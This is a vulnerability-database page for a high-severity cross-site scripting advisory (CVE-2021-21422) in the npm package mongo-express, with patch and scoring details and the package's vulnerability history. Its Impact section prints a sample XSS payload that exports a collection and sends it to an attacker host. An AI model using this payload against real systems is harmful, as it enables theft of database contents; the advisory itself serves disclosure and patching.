High

Cross-site scripting

  • Disclosed: 28.06.2021
  • Updated: 11.10.2026 10:22

Two kinds of XSS were found:

  1. As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.
  2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.

Impact

As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:

js
{"someField": "long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res =>  await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>"  }

This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible.

Patches

Upgrade to v1.0.0-alpha.4

For more information

If you have any questions or comments about this advisory:

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package mongo-express < 1.0.0-alpha.4 1.0.0-alpha.4

References

CVSS score 8.1/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Weakness (CWE)
CWE-79
Platform
npm
Package
mongo-express
Disclosed
28.06.2021
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-7p8h-86p5-wv3p - CC BY 4.0

Vulnerability history: mongo-express

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
4
First → latest
12.2019 03.2024
Without a fix
2
Exploited in attacks
1

Severity breakdown

  • Critical 1
  • High 1
  • Medium 2

Disclosures per year

  1. 2019: 1
  2. 2020: 0
  3. 2021: 2
  4. 2022: 0
  5. 2023: 0
  6. 2024: 1
  7. 2025: 0
  8. 2026: 0
  1. Medium · 6.1 CVE-2023-52555 <= 1.0.2 no fix
  2. Medium · 4.4 CVE-2021-23372 <= 0.54.0 no fix
  3. Cross-site scripting this entry
    High · 8.1 CVE-2021-21422 < 1.0.0-alpha.4 1.0.0-alpha.4
  4. Critical · 9.9 Exploited in attacks CVE-2019-10758 < 0.54.0 0.54.0

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.